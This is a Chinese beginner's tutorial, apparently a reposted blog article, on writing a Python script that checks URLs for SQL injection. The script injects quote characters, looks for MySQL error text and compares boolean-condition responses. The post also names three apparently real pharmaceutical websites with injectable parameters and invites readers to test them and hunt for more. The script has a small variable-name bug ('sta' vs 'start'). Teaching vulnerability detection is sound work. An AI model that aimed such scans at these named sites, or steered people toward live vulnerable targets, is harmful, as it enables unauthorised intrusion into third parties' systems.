PHP编写poc,代码实战/萌新如何编写sql注入的poc

一前言:

我去年十月份挖洞挖着就挖到0day了,然后发现18年就被人提过了,内心复杂然后我昨晚闲着无聊,就写个poc,随缘,见一步写一步,哈哈~

这里首先介绍一下什么是poc,poc就是指验证网址存在漏洞的一个pyexp是漏洞利用简单的描述一下,咳咳~~

正文:

二如何编写?

http://www.aminotp.com/newsdetail.php?id=6http://haihengpharm.com/newsdetail.php?id=8http://crstpharma.com/newsdetail.php?id=3我拿出这三个网址,来判断poc也只是代替一下手工的,所以我们先手工看一下sql注入的回显

e9cb5ec978338cd9a629ba6695d9c359.png我们可以看出,加个双引号报错了这个信息,

3e2c3bf0ee6a85a0b033d7eb6f88b316.pngand -50=-50没有报错,这就可以看出区别了

开始编写import requestsimport timefrom argparse import ArgumentParser

首先调用这3个库后面会讲为什么关于argparse模块可以看.这篇文章:https://www.jianshu.com/p/65b9e2f51940

第一步:

看到上面,我们可以使用单引号,双引号来判断是否报错arg = ArgumentParser(description="test.py -u http://www.xxxx.com/news?id=1")arg.add_argument('-u', help='target URL', dest='urls', type=str)url = arg.parse_args()payload = ["%27","%22"]

首先,我们要使用argparse模块,使用命令行来。

这一块代码:

第一句:首先是创建命令行解析器句柄,并自定义描述信息,以及如何使用。这就是脚本中的-h

如何就是我们的命令,-u ,help参数就是 目标的url,如何

第二句 可以看这篇文章如何就明白了里面参数是什么

https://blog.csdn.net/qq_36653505/article/details/83788460

第三~四句 是返回一个命名空间,然后我们就是单引号和双引号的一个payload检测

第二步:def poc(): for payloads in payload: tg_host = url.urls + payloads test_1 = requests.get(tg_host) a = str(test_1.text) if 'mysql_fetch_row()' in a: if payloads == '%22': print('[+] The first stage test is successful!') print('[+] Url may be vulnerable!') else: print("[-] Payload appears to have made a mistake, or there is no vulnerability") tg_host = url.urls + "+and+-50%3d-50" scan_1 = requests.get(tg_host) scan_2 = requests.get(url.urls) text_1 = scan_1.content text_2 = scan_2.content if text_1 == text_2: print("[+] The second stage test is successful!") print('[+] Url may be vulnerable!') else: print("[-] Payload appears to have made a mistake, or there is no vulnerability") print("[*] URL: %s"%url.urls)

我们定义一个函数,然后使用for循环遍历payload,至于url.urls 就是调用的方法,接受用户传参print(url)print(url.urls)

我们可以这样看一下,就可以看出了这2个区别。就知道怎么调用了,当然,也可以使用sys模块来.我们就先看一下for循环是啥for payloads in payload: tg_host = url.urls + payloads test_1 = requests.get(tg_host) a = str(test_1.text) if 'mysql_fetch_row()' in a: if payloads == '%22': print('[+] The first stage test is successful!') print('[+] Url may be vulnerable!') else: print("[-] Payload appears to have made a mistake, or there is no vulnerability")

然后就是请求传参,然后再.text,返回页面信息

45424352925f1f386c8ad5623dcbd123.png发现报错,出现了这个报错信息,和上面的那个图片一样,这样的话我们就可以使用str()强转为字符串。强转后再判断这个报错的函数 是否在这个返回的字符串中

然后再if判断,当这个单/双引号判断后,就会输出 第一个阶段测试成功,如果不成功的话,就输出可能出现了错误等等,因为我英语自小就不好。

所以就英汉互译下~~~

如果网站不存在的话,也可以编码下,返回一下页面(当然,不是图片啥的),也可以直接pass掉

第三步:tg_host = url.urls + "+and+-50%3d-50" scan_1 = requests.get(tg_host) scan_2 = requests.get(url.urls) text_1 = scan_1.content text_2 = scan_2.content if text_1 == text_2: print("[+] The second stage test is successful!") print('[+] Url may be vulnerable!') else: print("[-] Payload appears to have made a mistake, or there is no vulnerability") print("[*] URL: %s"%url.urls)

这段代码依然如此,拼接了 and -50=-50 的编码然后再请求,2个,一个是拼接了 -50=-50的参数。一个是正常的url

c26fc4ad2b60e2fb1564db0c3334c929.png输出后就是这样,然后我们在使用content来判断 两个页面传回来的是不是也要,一样的话就输出那串英文。然后最后再把url输出

第四步:if __name__=='__main__': sta = time.time() poc() end = time.time() run_time = int(end - start) print('漏洞探测耗时:', end='') print(run_time, end='') print('s')

然后if name==’main‘:

就是程序的入口,也就是说从这边开始,调用哪个哪个

首先设置一个开始的时间

sta,然后再设置个结束的时候end

然后结束的时间减掉开始的时间,就是我们执行的时间

三文末

这也是我昨天无聊,然后想玩一玩写的一个。

大佬勿喷

分享一个思路,poc和exp不一样

同理来说,poc只是验证漏洞的存在。

所以poc不是很难写,只是缺个思路(除非非常难理解的漏洞,只要理解漏洞原理就好)poc只是代替手工。所以可以先试下手工一下。

然后再看一下如何使用代码实现的这是运行结果:然后开头我附带了几个网站给各位大佬玩玩我已经提交过了,大佬们也可以再找找。

(如果觉得不咋地的话,请轻点喷)

7ecf6d3310882173802ae8c27e18cb93.png

bc447adc0a1107a7076f7ee30dc25b46.png

本文标题:代码实战/萌新如何编写sql注入的poc

本文链接:https://www.toobug.cn/post/1064.html

作者授权:除特别说明外,本文由 toobug 原创编译并授权 TOOBUG信息安全网 刊载发布。

版权声明:本文不使用任何协议授权,您可以任何形式自由转载或使用。

9c90e09cb2463de4f7459d0ab988160d.png

用TOOBUG官方小程序阅览更加简洁

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值